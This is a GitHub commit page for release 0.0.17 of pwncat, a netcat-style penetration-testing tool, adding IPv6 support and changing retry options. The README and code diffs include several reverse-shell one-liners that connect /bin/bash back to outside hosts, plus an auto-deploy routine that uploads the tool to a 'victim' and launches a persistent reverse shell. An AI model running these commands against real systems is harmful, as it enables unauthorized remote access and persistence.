Skip to content

Commit ddec6c5

Browse files
authored
Merge pull request #73 from cytopia/release-0.0.17
Release 0.0.17
2 parents 203d088 + 179b301 commit ddec6c5

15 files changed

+466
-224
lines changed

CHANGELOG.md

+12
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,18 @@
44
## Unreleased
55

66

7+
## Release 0.0.17-alpha
8+
9+
### Fixed
10+
- CI: Fixed test frameworks for error checking
11+
12+
### Added
13+
- Feature: IPv6 support (`-6`)
14+
15+
#### Changed
16+
- Changed `--rebind` to allow omitting an argument for endless connect retries
17+
18+
719
## Release 0.0.16-alpha
820

921
### Added

README.md

+20-14
Original file line numberDiff line numberDiff line change
@@ -134,7 +134,7 @@
134134
</tbody>
135135
<table>
136136

137-
> <sup>[1] <a href="https://cytopia.github.io/pwncat/pwncat.type.html">mypy type coverage</a> <strong>(fully typed: 94.07%)</strong></sup><br/>
137+
> <sup>[1] <a href="https://cytopia.github.io/pwncat/pwncat.type.html">mypy type coverage</a> <strong>(fully typed: 93.94%)</strong></sup><br/>
138138
> <sup>[2] Windows builds are currently only failing, because they are simply stuck on GitHub actions.</sup>
139139
140140

@@ -187,7 +187,7 @@ pwncat -l -e '/bin/bash' 8080 -k
187187
```
188188
```bash
189189
# Reverse shell (Ctrl+c proof: reconnects back to you)
190-
pwncat -e '/bin/bash' example.com 4444 --recon -1 --recon-wait 1
190+
pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1
191191
```
192192
```bash
193193
# Reverse UDP shell (Ctrl+c proof: reconnects back to you)
@@ -253,7 +253,7 @@ pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u
253253
| Self-injecting || :x: | :x: |
254254
| IP ToS | :x: || :x: |
255255
| IPv4 ||||
256-
| IPv6 | * |||
256+
| IPv6 | |||
257257
| Unix domain sockets | :x: |||
258258
| TCP ||||
259259
| UDP ||||
@@ -398,6 +398,7 @@ mode arguments:
398398
target machine via the positional arguments.
399399
400400
optional arguments:
401+
-6 Use IPv6 instead of IPv4.
401402
-e cmd, --exec cmd Execute shell command. Only for connect or listen mode.
402403
-C lf, --crlf lf Specify, 'lf', 'crlf' or 'cr' to always force replacing
403404
line endings for input and outout accordingly. Specify
@@ -476,10 +477,13 @@ advanced arguments:
476477
disconnected or the connection is unterrupted otherwise.
477478
(default: server will quit after connection is gone)
478479
479-
--rebind x Listen mode (TCP and UDP):
480+
--rebind [x] Listen mode (TCP and UDP):
480481
If the server is unable to bind, it will re-initialize
481-
itself x many times before giving up. Use -1 to re-init
482-
endlessly. (default: fail after first unsuccessful try).
482+
itself x many times before giving up. Omit the
483+
quantifier to rebind endlessly or specify a positive
484+
integer for how many times to rebind before giving up.
485+
See --rebind-robin for an interesting use-case.
486+
(default: fail after first unsuccessful try).
483487
484488
--rebind-wait s Listen mode (TCP and UDP):
485489
Wait x seconds between re-initialization. (default: 1)
@@ -492,10 +496,12 @@ advanced arguments:
492496
Set --rebind to at least the number of ports to probe +1
493497
This option requires --rebind to be specified.
494498
495-
--reconn x Connect mode / Zero-I/O mode (TCP only):
499+
--reconn [x] Connect mode / Zero-I/O mode (TCP only):
496500
If the remote server is not reachable or the connection
497501
is interrupted, the client will connect again x many
498-
times before giving up. Use -1 to retry endlessly.
502+
times before giving up. Omit the quantifier to retry
503+
endlessly or specify a positive integer for how many
504+
times to retry before giving up.
499505
(default: quit if the remote is not available or the
500506
connection was interrupted)
501507
This might be handy for stable TCP reverse shells ;-)
@@ -634,10 +640,10 @@ In other words, the client will keep trying to connect to the specified server u
634640
# The client
635641
# --exec # Provide this executable
636642
# --nodns # Keep the noise down and don't resolve hostnames
637-
# --reconn # Automatically reconnect back to you indefinitely
643+
# -reconn # Automatically reconnect back to you indefinitely
638644
# --reconn-wait # If connection is lost, connect back to you every 2 seconds
639645

640-
pwncat --exec /bin/bash --nodns --reconn -1 --reconn-wait 2 10.0.0.1 4444
646+
pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444
641647
```
642648

643649
### Unbreakable UDP reverse shell
@@ -703,7 +709,7 @@ You will then see something like this:
703709
[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
704710
[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
705711
[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
706-
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn -1 --reconn-wait 1 10.0.0.1 4445 &
712+
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
707713
```
708714
And you are set. You can now start another listener locally at `4445` (again, it will connect back to you endlessly, so it is not required to start the listener first).
709715
```bash
@@ -833,7 +839,7 @@ tail -fn50 comm.txt
833839
| | | | pwncat | | | MySQL |
834840
| 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 |
835841
+-----------------+ | +-----------------+ | +-----------------+
836-
pwncat -l 4444 | pwncat --reconn -1 \ |
842+
pwncat -l 4444 | pwncat --reconn \ |
837843
| -R 56.0.0.1:4444 \ |
838844
| 10.0.0.1 3306 |
839845
```
@@ -854,7 +860,7 @@ tail -fn50 comm.txt
854860
| | | | pwncat | | | MySQL |
855861
| 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 |
856862
+-----------------+ | +-----------------+ | +-----------------+
857-
pwncat -u -l 53 | pwncat -u --reconn -1 \ |
863+
pwncat -u -l 53 | pwncat -u --reconn \ |
858864
| -R 56.0.0.1:4444 \ |
859865
| 10.0.0.1 3306 |
860866
```
@@ -875,7 +881,7 @@ the client (e.g.: in case of a reverse shell) to probe outbound ports endlessly.
875881
# --reconn-wait # Reconnect every 0.1 seconds
876882
# --reconn-robin # Use these ports to probe for outbount connections
877883

878-
pwncat --exec /bin/bash --reconn -1 --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53
884+
pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53
879885
```
880886

881887
Once the client is up and running, either use raw sockets to check for inbound traffic or use

bin/pwncat

+51-23
Original file line numberDiff line numberDiff line change
@@ -91,7 +91,7 @@ if os.name != "nt":
9191

9292
APPNAME = "pwncat"
9393
APPREPO = "https://github.com/cytopia/pwncat"
94-
VERSION = "0.0.16-alpha"
94+
VERSION = "0.0.17-alpha"
9595

9696
# Default timeout for timeout-based sys.stdin and socket.recv
9797
TIMEOUT_READ_STDIN = 0.1
@@ -272,6 +272,12 @@ class DsSock(object):
272272
"""`bool`: Determines if we resolve hostnames or not."""
273273
return self.__nodns
274274

275+
@property
276+
def ipv6(self):
277+
# type: () -> bool
278+
"""`bool`: Determines if we use IPv6 instead of IPv4."""
279+
return self.__ipv6
280+
275281
@property
276282
def udp(self):
277283
# type: () -> bool
@@ -281,17 +287,19 @@ class DsSock(object):
281287
# --------------------------------------------------------------------------
282288
# Constructor
283289
# --------------------------------------------------------------------------
284-
def __init__(self, bufsize, backlog, recv_timeout, nodns, udp):
285-
# type: (int, int, Optional[float], bool, bool) -> None
290+
def __init__(self, bufsize, backlog, recv_timeout, nodns, ipv6, udp):
291+
# type: (int, int, Optional[float], bool, bool, bool) -> None
286292
assert type(bufsize) is int, type(bufsize)
287293
assert type(backlog) is int, type(backlog)
288294
assert type(recv_timeout) is float, type(recv_timeout)
289295
assert type(nodns) is bool, type(nodns)
296+
assert type(ipv6) is bool, type(ipv6)
290297
assert type(udp) is bool, type(udp)
291298
self.__bufsize = bufsize
292299
self.__backlog = backlog
293300
self.__recv_timeout = recv_timeout
294301
self.__nodns = nodns
302+
self.__ipv6 = ipv6
295303
self.__udp = udp
296304

297305

@@ -313,11 +321,11 @@ class DsIONetworkSock(DsSock):
313321
# --------------------------------------------------------------------------
314322
# Constructor
315323
# --------------------------------------------------------------------------
316-
def __init__(self, bufsize, backlog, recv_timeout, recv_timeout_retry, nodns, udp):
317-
# type: (int, int, Optional[float], int, bool, bool) -> None
324+
def __init__(self, bufsize, backlog, recv_timeout, recv_timeout_retry, nodns, ipv6, udp):
325+
# type: (int, int, Optional[float], int, bool, bool, bool) -> None
318326
assert type(recv_timeout_retry) is int, type(recv_timeout_retry)
319327
self.__recv_timeout_retry = recv_timeout_retry
320-
super(DsIONetworkSock, self).__init__(bufsize, backlog, recv_timeout, nodns, udp)
328+
super(DsIONetworkSock, self).__init__(bufsize, backlog, recv_timeout, nodns, ipv6, udp)
321329

322330

323331
# -------------------------------------------------------------------------------------------------
@@ -880,7 +888,8 @@ class Sock(object):
880888
# we can firstly/finally set its addr/port in order
881889
# to send data back to it (see send() function)
882890
if self.__options.udp:
883-
self.__remote_addr, self.__remote_port = addr
891+
self.__remote_addr = addr[0]
892+
self.__remote_port = addr[1]
884893
self.__log.debug("Client connected: %s:%d", self.__remote_addr, self.__remote_port)
885894

886895
# [4/5] Upstream (server or client) is gone.
@@ -916,16 +925,18 @@ class Sock(object):
916925
Raises:
917926
socket.gaierror: If hostname cannot be resolved.
918927
"""
919-
family = socket.AF_INET
928+
family = socket.AF_INET6 if self.__options.ipv6 else socket.AF_INET
920929
socktype = socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM
921930
proto = socket.SOL_UDP if self.__options.udp else socket.SOL_TCP
922931
flags = 0
923932

924933
# Quickly do wildcards for listening addresses
925934
if host is None:
926935
if family == socket.AF_INET:
936+
self.__log.debug("Resolving hostname not required, using wildcard: 0.0.0.0")
927937
return "0.0.0.0"
928938
if family == socket.AF_INET6:
939+
self.__log.debug("Resolving hostname not required, using wildcard: ::")
929940
return "::"
930941

931942
if self.__options.nodns:
@@ -1005,18 +1016,20 @@ class Sock(object):
10051016
self.__close("sock", sock)
10061017
return False
10071018

1019+
family = socket.AF_INET6 if self.__options.ipv6 else socket.AF_INET
1020+
10081021
# [UDP 3/4] There is no listen or accept for UDP
10091022
if self.__options.udp:
10101023
self.__conn = sock
1011-
self.__log.info("Listening on %s (family %d/UDP, port %d)", addr, socket.AF_INET, port)
1024+
self.__log.info("Listening on %s (family %d/UDP, port %d)", addr, family, port)
10121025

10131026
# [TCP 3/4] Requires listen and accept
10141027
else:
10151028
# Listen
10161029
if not self.__listen(sock):
10171030
self.__close("sock", sock)
10181031
return False
1019-
self.__log.info("Listening on %s (family %d/TCP, port %d)", addr, socket.AF_INET, port)
1032+
self.__log.info("Listening on %s (family %d/TCP, port %d)", addr, family, port)
10201033
# Accept
10211034
try:
10221035
conn = self.__accept(sock)
@@ -1081,15 +1094,17 @@ class Sock(object):
10811094
Raises:
10821095
socket.error: If socket cannot be created.
10831096
"""
1097+
family_sock = socket.AF_INET6 if self.__options.ipv6 else socket.AF_INET
1098+
family_name = "IPv6" if self.__options.ipv6 else "IPv4"
10841099
try:
10851100
if self.__options.udp:
1086-
self.__log.debug("Creating UDP socket")
1087-
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
1101+
self.__log.debug("Creating %s UDP socket", family_name)
1102+
sock = socket.socket(family_sock, socket.SOCK_DGRAM)
10881103
else:
1089-
self.__log.debug("Creating TCP socket")
1090-
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1104+
self.__log.debug("Creating %s TCP socket", family_name)
1105+
sock = socket.socket(family_sock, socket.SOCK_STREAM)
10911106
except socket.error as error:
1092-
msg = "Failed to create the socket: {}".format(error)
1107+
msg = "Failed to create {} socket: {}".format(family_name, error)
10931108
self.__log.error(msg)
10941109
raise socket.error(msg)
10951110
# Get around the "[Errno 98] Address already in use" error, if the socket is still in wait
@@ -2491,7 +2506,7 @@ class CNCAutoDeploy(CNC):
24912506
command.append(self.python)
24922507
command.append(remote_path)
24932508
command.append("--exec {}".format(binary))
2494-
command.append("--reconn -1")
2509+
command.append("--reconn")
24952510
command.append("--reconn-wait 1")
24962511
command.append(host)
24972512
command.append(port)
@@ -2834,6 +2849,9 @@ The connection to your listening server is given by
28342849
target machine via the positional arguments.
28352850
""",
28362851
)
2852+
optional.add_argument(
2853+
"-6", dest="ipv6", action="store_true", default=False, help="Use IPv6 instead of IPv4.",
2854+
)
28372855
optional.add_argument(
28382856
"-e",
28392857
"--exec",
@@ -2894,8 +2912,8 @@ color on Windows by default. (default: auto)
28942912
cnc.add_argument(
28952913
"--self-inject",
28962914
metavar="cmd:host:port",
2897-
type=_args_check_upload_myself,
28982915
default=None,
2916+
type=_args_check_upload_myself,
28992917
help="""Listen mode (TCP only):
29002918
If you are about to inject a reverse shell onto the
29012919
victim machine (via php, bash, nc, ncat or similar),
@@ -2990,12 +3008,16 @@ disconnected or the connection is unterrupted otherwise.
29903008
advanced.add_argument(
29913009
"--rebind",
29923010
metavar="x",
3011+
nargs="?",
29933012
default=0,
29943013
type=int,
29953014
help="""Listen mode (TCP and UDP):
29963015
If the server is unable to bind, it will re-initialize
2997-
itself x many times before giving up. Use -1 to re-init
2998-
endlessly. (default: fail after first unsuccessful try).
3016+
itself x many times before giving up. Omit the
3017+
quantifier to rebind endlessly or specify a positive
3018+
integer for how many times to rebind before giving up.
3019+
See --rebind-robin for an interesting use-case.
3020+
(default: fail after first unsuccessful try).
29993021
30003022
""",
30013023
)
@@ -3027,12 +3049,14 @@ This option requires --rebind to be specified.
30273049
advanced.add_argument(
30283050
"--reconn",
30293051
metavar="x",
3052+
nargs="?",
30303053
default=0,
3031-
type=int,
30323054
help="""Connect mode / Zero-I/O mode (TCP only):
30333055
If the remote server is not reachable or the connection
30343056
is interrupted, the client will connect again x many
3035-
times before giving up. Use -1 to retry endlessly.
3057+
times before giving up. Omit the quantifier to retry
3058+
endlessly or specify a positive integer for how many
3059+
times to retry before giving up.
30363060
(default: quit if the remote is not available or the
30373061
connection was interrupted)
30383062
This might be handy for stable TCP reverse shells ;-)
@@ -3212,17 +3236,21 @@ def main():
32123236
host = args.hostname
32133237
ports = [args.port]
32143238

3239+
reconn = -1 if args.reconn is None else args.reconn
3240+
rebind = -1 if args.rebind is None else args.rebind
3241+
32153242
# Set pwncat options
32163243
sock_opts = DsIONetworkSock(
32173244
RECV_BUFSIZE,
32183245
LISTEN_BACKLOG,
32193246
TIMEOUT_RECV_SOCKET,
32203247
TIMEOUT_RECV_SOCKET_RETRY,
32213248
args.nodns,
3249+
args.ipv6,
32223250
args.udp,
32233251
)
3224-
srv_opts = DsIONetworkSrv(args.keep_open, args.rebind, args.rebind_wait, args.rebind_robin)
3225-
cli_opts = DsIONetworkCli(args.reconn, args.reconn_wait, args.reconn_robin)
3252+
srv_opts = DsIONetworkSrv(args.keep_open, rebind, args.rebind_wait, args.rebind_robin)
3253+
cli_opts = DsIONetworkCli(reconn, args.reconn_wait, args.reconn_robin)
32263254
# TODO:
32273255
# "wait": args.wait,
32283256
# "ping_init": args.ping_init,

0 commit comments

Comments
 (0)